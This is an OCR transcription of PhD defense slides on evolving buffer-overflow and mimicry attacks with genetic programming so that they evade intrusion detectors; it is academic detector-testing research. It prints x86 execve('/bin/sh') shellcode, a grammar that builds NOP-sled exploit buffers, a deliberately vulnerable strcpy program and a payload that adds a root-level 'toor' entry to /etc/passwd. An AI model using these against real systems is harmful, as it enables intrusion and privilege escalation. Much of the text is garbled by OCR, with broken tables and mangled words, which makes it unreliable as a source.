Can the Best Defense Be a
Good Offense?

Evolving (Mimicry) Attacks for Detector Vulnerability

!'- Testing Under a “Black-Box” Assumption

Hilmi Glunes Kayacik

The most exciting phrase to hear in science, the one
that heralds new discoveries, is not Eureka!’ (I found it!)
but 'Thats funny ...”— Isaac Asimov




i Introduction

= Vulnerabilities
Stack buffer overflows in particular

s Defenses (intrusion detection)
Static vs. Dynamic / Misuse vs. Anomaly

= Who defends the defenses?

= General

= Detector-specific
Misconfigurations, blind spots, limitations
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¢ Hiding in “normal”
e Hiding in blind spot

ﬁ MOtIVatIOn e Hiding in less serious attack

= Ideally...
“GOOd ! A\ Bad /4

= In practice...
“GOOd,’ A\ Badll
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\\Inputll

Detector

‘L Objectives p—

“Feedback”
An artificial arms race

= Automatic evasion of detectors under a
‘black-box" assumption.

= EC under a multi-objective paradigm.

» Attackers are getting good at this, why shouldnt we??
» Improving detectors through an "arms race”
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Detector Apps Evasion Remarks
Wagner02 Stide (pH) ftpd Model checking (A x M) Recognizes preambles, assumes
[101] (SEMI) (WB) silent break-in. Attack
provided.
Tan02Why ansition to exploit.
[93] important.
o Previous Work
[92] [_aaceroucce [ \T"TRIN] \VWWD]
Tano3 = Automatic vs. Manual mal 2. hide i
[95] . 5 serious 4. hide
= Black-box vs. White-box ack.

Gao04 nking needed
[31] a 7he more you know, the easier [*=°°>*
Kruegel05
[55] the 565'/’6'/7. needed.

specific.
Giffin06 x S0, why black-box?? raction
[33] pnsidered.

ided.
Sparks08 ed on how close
[90] eoTroroT oy SCT T mpUTT e T Loy are—mervrararan gets to the unsafe

graph) string copy.

Kayacik09 Stide, pH, traceroute, ftpd, Using EC (AUTO) (BB) 1. BB 2. Analysis 3. Preambles
[43-49] pHsm, Markov restore, samba 4. Multi-objective

Model, Neural

Network
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c="hello”

Stack Overﬂows

Unallocated Stack Space

Char c[12]

Char c[12] g

Stack Growth
Py

Stack Growth
Y

I Char *bar I

From Wikipedia URL: http://en.wikipedia.org/wiki/Stack buffer overflow
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c="ADAAAAALAA
AAAADAAAARDAN
x08\x35\xC0\

Stack Overﬂows x80”

Char c[12]

|
Char *bar |

Stack Growth

From Wikipedia URL: http://en.wikipedia.org/wiki/Stack buffer overflow
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i Stack Overflow Attacks

M Content
oers o = Attacker needs to:
0xBFFFDESD | gwon | ox9o | ox9o | oxoo | InJeCt She”COde
Nom e Assembly code
DEEFFFDERS [ Qw90 l_l:l.‘.-':E":l 090 0x90
e MOV 0x05, AL — = Overwrite return
cme IGbMESOICDOE s pxecutes open]
IxBFFFOEGE INT 0x80 add ress
OxBFFFOETC MOV 0Ox04, AL
simssa 15 Dyies of code - ::;t"ut.::l
IxBFFFOEEC INT 0x80
R WOV 0x0e, AL = Increase the chances
sims 16 Diytes of Code [ St -
(xXBEFFFDESE INT 0Ox80 s NO OPE’/‘aIf'/O/?
OxXBEFFFOEA?Z 0xBFFFDEERS R
IxEFFFOEAE 0xBFFFDERS reburm acdress
OxXBEFFFOEAR 0xBFFFDEERS st
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‘L Research Overview

Memory
Address

O0XBFFFDESD

0xBEFFFDES4

0xBEFFFDESS

0xBEFFFDERS

0xBFFFDETC

0xBFFFDEBC

UXBFFFDESE

0xBEFFFDESE

O0xBFFFDEAZ
0xBEFFFDEAE
O0xBFFFOEAN

Content
0x90 0x90 0x90 0x50
090 0x20 0x90 0x50

MOV 0x05, AL

15 bytes of code
INT Ox80

MOW Ox04, AL
15 bytes of code
INT 0x80

MOV Ox06&, AL
15 bytes of ode
INT 0x80

0xBFFFDES5
0xBFFFDESS
0xBFFFDES5

1. Suitable malicious
buffer

e characteristics.
Misuse detection
=== 5 Code at ASM level.
J— Misuse detection
3. Code at system call
— level.
s Anomaly detection
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Optimizing SOF N x NOB
‘L Characteristics

= Evolve” programs that will:
= Determine reT, M, N

= Assemble the malicious buffer.
= Short

= Vulnerable app. [, Grammatical Evolution

e Instruction Set (grammar)
e Fitness calculation
e Diversity
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i Results

= Many undetectable
Q attacks.
100 ,"‘"’ Attack with one NoOP.

g0

Fitrwas

Evaded
e misuse
™| 000 detection

10000 0 RET Size
MOOP Size

Figure 6.5
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=)
i Evolving Attacks at ASM Level

= How to execute system calls in ASM?

int execve(const char *path, char *const
argv[], char *const envpl[])

1. EAX = 0xO0B i.e., the system call number of
'‘execve’;

2. EBX -->'/bin/sh0' on the stack;
3. ECX = NULL;

.+ EDX = NULL:

s, Interrupt '0x80'; * Linear GP

e Instruction set
execve (“/bin/sh”) e Fitness calculation
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push 0x68732f2f
mul eax
push ebx
Results
cdg
cdg
sub eax, eax
mul edx
= Evolved attacks are undetectable. | push eax
mov cl, 0xO0b
h edx
- Evolved |52
Original Attack dec eox
Attack
mov ebx, esp
XOr eax, eax push 0x6e69622f
cd . . push edx
u:lh o = Different ordering push 0x68732£2f
P : , . push 0x6e69622f
pUSh 0x68732f2f u D|fferent InStrUCtIOnS mov ebx, esp
push 0x6e69622f mov ecx, edx
B e — = Code bloat” cdq
mul edx
push eax push ecx
push ebx push ebx
mov ecx, esp
mov eix’oezi Evaded mov al, O0xO0b
mov al, UX . int 0x80
int 0x80 misuse push edx
: h 0x6e69622f
detection P oe dl. onob
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Evolving Attacks at :>-

i System Call Level

= Black-box access
= System calls

= 4 vulnerable applications
traceroute, restore, samba, ftpd

= 6 anomaly detectors

Stide, pH, pHsm1, pHsm2,
Markov Model, Neural Network

Slides for the PhD Defense

Attack = Preamble +
Exploit

“normal
behavior”

e Linear GP

e Instruction set

e Fitness Calculation
e Pareto Ranking
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Attack = Preamble + Exploit

:L Results - Anoma y Rates and Delays

Preamble | Exploit |Attack pH - restore
A 0 0
Original 90.70%{87.49%| _ g0, exploit but...
81.01% Y . P/ E ratio
Mimicry 0.10% |48.57% '
1425 1000 2425 | = ‘I‘Dreambls delay
Black numbers: anomaly rates. Red numbers: lengths (# syscalls). freezes” the
attack.
Preamble |Exploit |Attack |[= 4 apps x 6
. 51039 | ~1039 detectors.
Original 1038 10 10
Mimicry ~101 |~1038

Blue numbers: delays (seconds).
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i Results - Lessons Learned

= A first step towards the arms race

[ <

- =

Improved attacker = Improved detector

= Deploying attacks against different

detectors.

traceroute

restore | | samba

ftpd

Stide

pH

pHsmM

MM

NN
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i Results - Attack Analysis

= Analysis of the black-box attacks.
Application behavior is crucial (e.g. restore)

= Different

= Stide Syscall types

d-eteCtOrS, _ = pH Syscall indices
different evasion. [=pHsm [ unique syscalls
E.g. Against Stide - I\N/Iltl/l Repeating patterns

Length

E.qg. Against Neural Net.
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i Conclusion

= Formulating an arms race...

= A black-box EC approach for automatic
evasion of detectors.

= Contributions.
= Black-box access.
= Evaluation of attacks.
= Multi-objective.
= Analysis of normal behavior.
= Analysis of attacks.

Slides for the PhD Defense
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i Future Work

Vuln. Testing

Anomaly Det.

Stack BOF

= Arms race

s Future attack

vectors

= Additional detectors

attacks

Slides for the PhD Defense

IA32

= Multi-objective
s Viruses
= Other overflow
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Detector Apps Evasion Remarks

Wagner02 Stide (pH) ftpd Model checking (A x M) Recognizes preambles, assumes

[101] (SEMI) (WB) silent break-in. Attack
provided.

Tan02Why Stide, Markov sendmail, ftpd, Ipr | Use rare segs to create foreign | Recognizes transition to exploit.

[93] Detector segs (SEMI) (WB) Says LFC not important.

Tan02 Stide passwd, Increase the foreign length

[92] traceroute (MAN) (WB)

Tan03 Stide, t-stide restore, Manually modify the attack 1. hide in normal 2. hide in

[95] tmpwatch, kernel, | (MAN) (WB) blind spot

traceroute 3. hide as less serious 4. hide

as another attack.

Gao04 Stide and httpd, ftpd Exhaustive search on (WB) PC - Static linking needed

[31] “improvements” automaton (S, P, R) (SEMI) | Benefits and cost of P and R

Kruegel05 Stide and apache, ftpd, Represent state as polynomial | No floats.

[55] “improvements” | imapd and symbolic execution Static linking needed.

(Indirectly) (AUTO) (WB) Not detector specific.

Giffin06 Stide traceroute Use model checking on threat, | Model - Abstraction

[33] OS, app model. (AUTO) (WB) | parameters considered.
Attack provided.

Sparks08 Markov Model Tftpd.exe Uses GE, each individual is a Fitness is based on how close
[90] (control flow set of inputs. (AUTO) (BB) the individual gets to the unsafe
graph) string copy.

Kayacik09 Stide, pH, traceroute, ftpd, Using EC (AUTO) (BB) 1. BB 2. Analysis 3. Preambles

pHsm, Markov
Model, Neural
Network

restore, samba

4. Multi-objective
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Detector Apps Evasion Remarks
Wagner02 Stide (pH) ftpd Model checking (A x M) Recognizes preambles, assumes
(SEMI) (WB) silent break-in. Attack
provided.
Tan02Why Stide, Markov sendmail, ftpd, Ipr | Use rare segs to create foreign | Recognizes transition to exploit.
Detector segs (SEMI) (WB) Says LFC not important.
Tan02 Stide passwd, Increase the foreign length
traceroute (MAN) (WB)
Tan03_2 Stide, t-stide restore, Manually modify the attack 1. hide in normal 2. hide in
tmpwatch, kernel, | (MAN) (WB) blind spot
traceroute 3. hide as less serious 4. hide
as another attack.
Tan03 Stide, Makov sendmail, ftp, Ipr 1. Rare segs Similar to Tan02Why, more
Detector 2. Minimal seq (SEMI) (WB) | explanation of methodology.
Gao04 Stide and httpd, ftpd Exhaustive search on (WB) PC - Static linking needed
“improvements” automaton (S, P, R) (SEMI) | Benefits and cost of P and R
Kruegel05 Stide and apache, ftpd, Represent state as polynomial No floats.
“improvements” | imapd and symbolic execution Static linking needed.
(Indirectly) (AUTO) (WB) Not detector specific.
Giffin06 Stide traceroute Use model checking on threat, | Model > Abstraction
OS, app model. (AUTO) (WB) | parameters considered.
Attack provided.
Kayacik09 Stide, pH, traceroute, ftpd, Using EC (AUTO) (BB) 1. BB 2. Analysis 3. Preambles

pHsm, Markov
Model, Neural
Network

restore, samba

4. Multi-objective
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Training Para

meters

GP2 (Pareto)

Crossover 0.9 (single pt.) 0.9 (page) 0.9 (cut-spl)
Mutation 0 0.5 (ind) 0.01 (inst-wise)
Swap 0 0.5 0.5
Selection Generation Tournament 4 Tournament 4
Stop Criteria 500 gens 50,000 tour 100,000 tour”
Population 200 500 500
Prog. Length Const/560genes | 10 pg x 3 inst < 1000
Replacement Parents if c>p Worst 2 in tour Worst 2 in pop
Training time | ~7 hours ~6 hours 2 days
# Runs 10" 20 50
“phenotype” C Grammar ASM System calls
Multiobjectives | Niching Sub-goals Pareto
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Grammar

code : exp

exp : detn detb deto alloc offsetc prell loopl loop2 prel3 loop3 post3
digit : 1 | 2 | 3 | 4| 5| 6| 7] 8] 9]0

number : digit + digit * 10 + digit * 100 + digit * 1000

detn : nsize = number ;

detb : bsize = nsize + number ;

deto : offset = number ;

alloc : buffer = malloc ( bsize );

offsetc: esp = sp();ret = esp — offset;

prell : ptr = buffer; addr_ptr = (long *) ptr;

loopl : for (1 =0 ; 1 < bsize ; 1 =31i + 4 ) { expl };

loop2 : for (1 =0 ; 1 < nsize ; 1i =31+ 1) { exp2 };

prel3 : ptr = buffer + nsize;

loop3 : for (1 =0 ; i < strlen (shellcode) ; i =1 + 1 ) { exp3 };
post3 : buffer[ bsize - 1] = 0;

expl : *(addr_ptr++) = ret;

exp2 : buffer[ i ] = '\\x90';

exp3 : *(ptr++) = shellcode[ i ];

[ )
°©
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Fithess Function

N o

_ N : NOPGI’I’OI’+ RETGI’I’OI’+RET8.CCUI’8.CY

100 + NOP,c
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i Vulnerable Program

int main(int argc, char *argv([])

{

char bufferl[500];
char buffer2[500];
char buffer3[500];
char buffer[500];

printf ("Vulnerable : Variable at

Addr : 0x%x\n", buffer);
strcpy (buffer, argv[1l]);
return O;

Slides for the PhD Defense

buffer

buffer3

buffer2

bufferi

EIP
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i Snort Signature

alert ip S$EXTERNAL NET S$SHELLCODE_PORTS ->

SHOME_NET any (msg:"SHELLCODE x86 NOOP";

content:" |90 90 90 90 90 90 90 90 90 90 90 90 90 90|";
depth:128; reference:arachnids, 181;
classtype:shellcode—-detect; sid:648; rev:7;)
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i Grammatical Evolution

= Based on

= Population of solutions (or individuals)
= Survival of the fittest
= Fitness function

« Search operators
= Mutation
= Crossover

= Grammatical Evolution

17,105, 64, 83 ...

<=

grammar

—

Slides for the PhD Defense

int main () {
return O;

}
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Fithess Function

N o

_ N : NOPGI’I’OI’+ RETGI’I’OI’+RET8.CCUI’8.CY

100 + NOP,c
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i Fitness Sharing

= TO encourage diversity (i.e. different
NOP and RET sizes)

= Raw Fitness / Niche Count.

= Number
T = Distance
@

- -

Slides for the PhD Defense
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i Linear GP

= As opposed to tree based.
= Individual is assembly code

= Instructions that are composed from a
2 byte opcode and two operands (1
byte).

= Fixed length individuals.
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i Fithess Function

Fitness= 10
Objective # instructions
a. Stack contains “/bin/sh”? |1 to 3
b. EBX points to (a) ? 1
c. ECX points to arguments? |1 to 3
d. Is EDX null? 1
e. Interrupt executed? 1

Slides for the PhD Defense
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i GP Training Parameters

Parameter Setting (Probability)

Crossover Page Based (0.9)

Mutation Uniform instruction wide (0.5)

Swap Instruction swap within an individual
(0.5)

Selection Tournament of 4 indidivuals

Stop At the end of 50,000 tournaments

Population 500 individuals each with
10 pages, 3 instructions per page

# Runs 20

Slides for the PhD Defense
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i Experiments

= Minimal Instruction Set
= 5 instructions to build the attack
= Establish a baseline

= Additional objective to “strengthen” the
attacks

s Extended Instruction Sets
= Add arithmetic instructions
= Add logic instructions

Slides for the PhD Defense
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R: Register

i Instruction Set I: Inmediate
m C

DQ s INC R
= PUSH I s DEC R
m PUSH R s MUL R
= MOV R, R s DIV R
= MOV R, I s AND R, R
= XOR R, R = OR R, R
= ADD R, R = NOT R
m SUB R, R

4
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‘L Likelihood of Execution

= Jump Accuracy

06 | _ = Jumping to 1st
50s attack instruction
VS.

5 0.4
2 o | = Jumping to an
: ( intron
E 0.2 +
0 ‘
Basic fithess Additional Objective Failure point
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i Unique Individual Count

Unique individual count

470 +

465

460

455

450 +

445

Basic fitness

Additional Objective

Slides for the PhD Defense

Unique Individual:
Differs from
others by at least
one or more
Instruction
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i Intron Characteristics

s Attack starts in
14 1 { the first third of
the code.

= Introns are mixed
with attack
Instructions

[
N
|
T

[
o
|
T

Instruction Count

o N BN (o)} (00]
| | | |
1 1 1 1

First Exploit Attack Width
Instruction
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Between

1ISON

Compar
Evolved and Core Attack

Evolved Program

Core Attack

Sub—-goals

PUSH 0x68732f2f
MUL EAX

PUSH EBX

MUL EDX

CDQ

CDQ

SUB EAX, EAX
MUL EDX

PUSH EDX

MOV CL, 0xOb
PUSH EDX

DEC ECX

DEC ECX

MOV EBX, ESP
PUSH 0Ox6e69622f
PUSH EDX
rrPUsEoRes T2 2T
PUSH 0x6e69622f
MOV EBX, ESP
MOV ECX, EDX
CDQ

MUL EDX

PUSH ECX

PUSH EBX

MOV ECX, ESP
MOV AL, 0xO0b
INT 0x80

PUSH EDX

PUSH 0Ox6e69622f
MOV DL, 0xOb

XOR EAX, EAX
CDQ

PUSH EAX

Same

Same

Same

PUSH EAX (step 1)

PUSH EAX (step 2)
Same
Same
Same
Same

QO YO Y

(ONONONONG!




i Mean Fithess

8.6 +

8.4 |

Mean Fithess
N N N ®
AN (@)} [00] 0 N
| | |
| |

N
N

= [ hree instruction

[ - sets:
[ ) . Basic
= 2. (1) + Arithmetic
I . (2) + Logical
Basic Basic + Basic +
Arithmetic Arithmetic +
Logic
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Hit Count

-
=
—
O
®
-
=]

s Hit = Attack

350

300 +

250

N
o
o

—H
I
il

deploys successfully

Basic Basic + Basic +

Arithmetic Arithmetic +

Logic
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‘L Likelihood of Execution

= Jumping to an
0.8 1 - intron

.5 0.7 +

H -

3 0.6 1 _
Q

X

ood of E
o o
T

T —
[
I

8 Failure point
£ 0.3
9
= 0.2

0.1

0 j ;
Basic Basic + Basic +
Arithmetic Arithmetic +
Logic
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i Linear GP with Pareto Ranking

= Individual is a sequence of system calls
Can be considered a GA

= Instructions : 2 byte opcode and two
operands (1 byte).

= Variable length individuals. (max:1000)

= Pareto Ranking
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i Pareto Ranking

= Minimization problem
(rank 1 does not mean it dominates everything else)

1:( 1: (2, 4) — nothing dominates it, so it is rank 1.
2: ( 2: (2, 10) — it is dominated by individual 1

3: (3, 4) 3: (3, 4) — it is dominated by individual 1

4: ( 4: (4, 3) — nothing dominates it, so it is rank 1
5: ( 5: (5, 10) — it is dominated by individual 1

2: (2, 10) — dominated by nothing, so it is rank 2
3: (3, 4) — ditto
5: (5, 10) — dominated by individual 2

Example from: http://www.cosc.brocku.ca/Offerings/5P71/misc/Notes_MOP.pdf
Slides for the PhD Defense



i Results - Search Space

= Discussion of search space.

Black-box White-box
102301 1010*

= Deploying attacks against different
detectors.

traceroute | | restore | | samba | | ftpd

Stide | |[pH | | pHsm | | MM | | NN
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i Search Space

BOF Evolving Evolving System
Characteristics | ASM Code calls
(10%)3 13730 200100

Slides for the PhD Defense
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i Attack Success

open() ... wrte() ... close()
Password file S=0
modification exploit: IF the sequence contains open (“/etc/passwd”)
= Open password file THEN S +=1

IF the sequence contains write
(“toor::0:0:root:/root:/bin/bash”) THEN S += 1

IF the sequence contains close (“/etc/passwd”)
THEN S +=1

IF open precedes write THEN S += 1
IF write precedes close THEN S +=1

= Write the "magic text”
= Close password file
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Anomaly Rate of the Original
Preamble and Exploits

Table 8.10: Anomaly rate of the preamble component of the attacks (both original
and mimicry)

Stide !::-H PHS]H Markov Model | Neural Network
traceroute | 22.22% | 36.49% | 77.78% | 8.54% 22.04%
restore 77.82% | 81.01% | 93.67% | 35.08% 13.299%;
samba 3.57% | 9.97% | 100.00% | 6.78% 6.34%
ftpd 19.04% | 21.94% | 14.30% | 6.11% 6.88%
Table 8.11: Anomaly rate of the original exploits
Stide | pH pHsm | Markov Model | Neural Network
traceroute | 71.48% | 73.91% | 83.06% | 47.80% 70.21%
restore 88.13% | 90.70% | 98.30% | 48.84% 15.53%
samba 60.04% [ 60.51% | 99.60% | 25.53% 21.15%
ftpd 47.52% | 47.85% | 57.29% | 13.65% 18.86%

Slides for the PhD Defense
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Anomaly Rate of the Original
Attacks

Table 8.12: Anomaly rate of the original attacks

Stide | pH pHsm | Markov Model | Neural Network
traceroute | 61.26% | 66.27% | 81.79% | 38.78% 31.19%
restore 84.69% | 87.49% | 96.77% | 44.26% 14.00%
samba 10.16% | 16.02% | 99.95% | 9.03% 5.73%
ftpd 22.78% | 25.54% | 20.27% | 7.15% 6.91%
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Anomaly Rates of the Evolved

Exploits and Attacks

Table 8.13: Anomaly rate of the best mmmicry exploits

Stide pH pHsm | pHsm Markov | Neural
(mask Model | Networks
unknown)
traceroute | 16.67% | 11.71% | 0.00% 27.60% 0.10% 2.47%
restore 0.40% 0.10% 0.20% 0.317% 0.10% 2.907%
samba 0.50% 0.10% 0.00% 29.23% 0.10% 16.68%
ftpd 57.14% | 0.10% 0.00% 35.55% 0.10% 3.46%
Table 8.14: Anomaly rate of the best mimicry attacks
Stide pH pHsm | pHsm Markov | Neural
(mask Model | Networks
unknown)
traceroute | 10.96% | 18.29% | 2.71% 20.28% 0.20% 1.63%
restore 46.25% | 48.57% | 54.52% | 57.92% 21.05% | 5.60%
samba 3.00% 8.11% 7.36% 15.84% 5.45% 5.77%
ftpd 19.30% [ 16.11% | 10.62% | 20.19% 4.47% 1.26%
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Delay of the Original Preamble

and Exploits

Table 8.15:

original and mimicry)

Delay associated with the preamble component of the attacks (both

Stide | pH pHsm Markov Model | Neural Network
traceroute | 0 0.74 (.63 0 0
restore 0 1.OOE+358 | 1.OIE+39 [ O 0
samba 0 TO5E4+27 | 1.2TE+40 | 0 0
ftpd 0 5.26E+30 | B.O3E+17 | 0 0

Table 8.16: Delay associated with the original exploits

Stide | pH pHsm Markov Model | Neural Network
traceroute | 0 4.39E+35 | 8.51E+35 | 0 0
restore 0 1.66E+39 | 3.93E+39 | 0 0
samba ( 2.97TE+30 | 5.06E+38 | 0 0
ftpd () 3.78E+22 | 4.89E+25 | 0 0
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‘L Delay of the Original Attacks

Table 8.17: Delay associated with the original attacks

Stide | pH pHsm Markov Model | Neural Network
traceroute | 0 130E+35 [S5IE+35 [ 0 0
restore 0 1.55E+39 | 4.96E+39 | 0 0
samba () 3. 11E+30 | 1.41E+40 | 0 0
ftpd 0 5.26E+30 | 4.80E+25 | 0 i
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Delay of the Evolved Exploits
and Attacks

Table 8.18: Delay associated with the best mimicry exploits

Stide | pH pHsm pHsm Markov | Neural
(mask Model | Network
unknown )
traceroute | () 1.11 0 1.50E+14 0 ()
restore () 9.94 9.87 11.1 0 ()
samba () 0.94 0 7.37TE+12 0 ()

Table 8.19: Delay associated with the best mimicry attacks

Stide | pH pHsm pHsm Markov | Neural
(mask Model | Network
unknown)
traceroute | 0 0.55 0.44 0.44 0 0
restore 0 1.90E+38 | 3.55E+38 | 4.04E438 | 0 0
samba 0 7.95E+27[ 1.59E+20 | 1.53E+21 [0 0
ftpd 0 5.26E+30| 4.00E+13 | 448E+13 | O ()
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‘L Exploit Lengths

Table 8.20: Best mimicry exploit lengths generated against five anomaly detectors in
terms of system calls

Stide | pH | pHsm | Markov Model | Neural Network

traceroute | 34 115 | 1000 057 1000
restore 1000 | 1000 | 999 1000 1000
samba 1000 | 1000 | 1000 083 1000
ftpd 11 1000 | 994 1000 1000
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Traceroute Attack Analysis Table

Target Attack Characteristics
Detector
ST: | kernel, file, me 111urv network
Stide SI: | min: 1, med: 2, max: 9
SU: | 8
RP: | Pattern (gettimeofday sendto gettimeofday
select write) exists.
LIN: | 34 system calls
ST: | file, memory
pH SI: | min: 2, med: 6, max: 14
SU: | 8
RP: | None.
LN: | 118 system calls
ST: | kernel. file, memory
pHsm SI: | min: 1, med: 7, max: 10
SU: | 8
RP: | Different combinations of mmap and open.
LIN: | 1000 system calls
ST: | kernel, file, memory
Markov Sl | min: 1, med: 2, max: 14
Model sU: [ 9
RP: | Different combinations of gettimeofday and write.
LIN: | 957 system calls
ST: | kernel. file, memory, network
Neural SI: | min: 1, med: 7, max: 22
Network | SU: | 20
RP: | None.
LN: | 1000 system calls
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Restore Attack Analysis Table

Target Attack Characteristics
Detector
ST: | file
Stide SI: | min: 1, med: 1, max: 6
sU: [ 4
RP: | Ditterent combinations of read and write.
LIN: | 1000 system calls
ST: | file
pH Sl: | min: 1, med: 1, max: 11
sU: | 6
RP: | Ditterent combinations of read, write and 1seek. Large
blocks of write.
LN: | 1000 system calls
ST: | file, memory
pHsm Sl: | min: 1, med: 1, max: 6
sU: | 6
RP: | Different combinations of read, write and 1seek.
LN: | 999 system calls
ST: | kernel, file, memory
Markov SI: | min: 1, med: 2, max: 12
Model sU: | 8
RP: | Different combinations of read, write and lseek.
LN: | 1000 system calls
ST: | kernel, file, memory
Neural Sl: | min: 1, med: 5, max: 20
Network | SU: [ 19
RP: | None.
LIN: | 1000 system calls
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Samba Attack Analysis Table

Target Attack Characteristics
Detector
ST: | file
Stide SI: | min: 1, med: 2, max: 23
SU: | 6
RP: | Different combinations of read and 1seek. Large blocks
of 11seek.
LIN: | 1000 system calls
ST: | kernel. file, memory
pH SI: | min: 1, med: 6, max: 23
sU: [ 9
RP: | Ditterent combinations of fcntl64, munmap and stat.
Long blocks of write.
LIN: | 1000 system calls
ST: | kernel. file, memory
pHsm SI: | min: 1, med: 7, max 23
sU: [ 11
RP: | None.
LIN: | 1000 system calls
ST: | kernel. file, memory
Markov SI: | min: 1, med: 7, max: 23
Model sSU: | 12
RP: | Different combinations of fcntl64, munmap and stat.
LIN: | 983 system calls
ST: | kernel. file, memory, network
Neural SI: | min: 1, med: 8, max: 23
Network | SU: | 20
RP: | None.
LIN: | 1000 system calls
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Ftpd Attack Analysis Table

Target Attack Characteristics
Detector
ST: | kernel, file, network
Stide [SI: | min: 4, med: 7, max: 16
SU: | 8
RP: | None.
LIN: [ 11 system calls
ST: | kernel, file
pH [SI: | min: 1, med: 5, max: 7
sU: |5
RP: | Different combinations of open, read, write and close.
Long blocks of close.
LIN: | 1000 system calls
ST: | kernel, file, memory
pHsm SI: [ min: 1, med: 5, max: 11
sU: [ 10
RP: | Different combinations of open, read, write and close.
LIN: | 994 system calls
ST: | kernel, file, memory
Markowv SI: | min: 1, med: 4, max: 13
Model sU: [ 10
RP: | Different combinations of open, read. write. close,
and rt_sigaction.
LIN: | 1000 svstem calls
ST: | kernel, file, memory, network
Neural SI: [ min: 1, med: 5, max: 20
Network | SU: |19
RP: | None.
LIN: | 1000 svstem calls
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i Stide Detector

= Immune system based

= Monitor System Calls T‘E’JQ 23'2 |(3:”
ABDBACBEF BDBACB

- _ DBACBE
= Apply a sliding window of N |BaACBEF

= Training: Store patterns. ABCBAC

= Detection: Compare patterns |[BCBACB
ABCBACBEF A

BACBEF
3 /4 inputs raises alarms.
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i PH  (comparison with Stide)

Slides for the PhD Defense

5121113121211 Training sequence
Current Position 1 Position 2 Position 3 pH
1 12} {2} {3}
2 23] 3, 1] {1, 7]
3 {1} {2} {2}
Stide
Current | Position 1 | Position 2 | Position 3
pattern 1 | 1 2 2 3
pattern 2 | 2 2 3 1
pattern 3 | 2 3 1 2
pattern 4 | 3 1 2 2
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i HMM Detector

= First order HMM
= Raise flags if transition was not seen.
s Anom. Rate = 100 - %Flags

ABDBACBDA 1 ABCBACBDA

states A B C D

5| A 0 1 1 0
= B 1 0 0 2
C 0 1 0 0

D 1 1 0 0
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Auto-associative Neural

= One class

= Frequency as opposed
to sequence

= Input / output layer:
223 neurons

= Hidden layer: 15
neurons

= Train to produce same outputs as training inputs.
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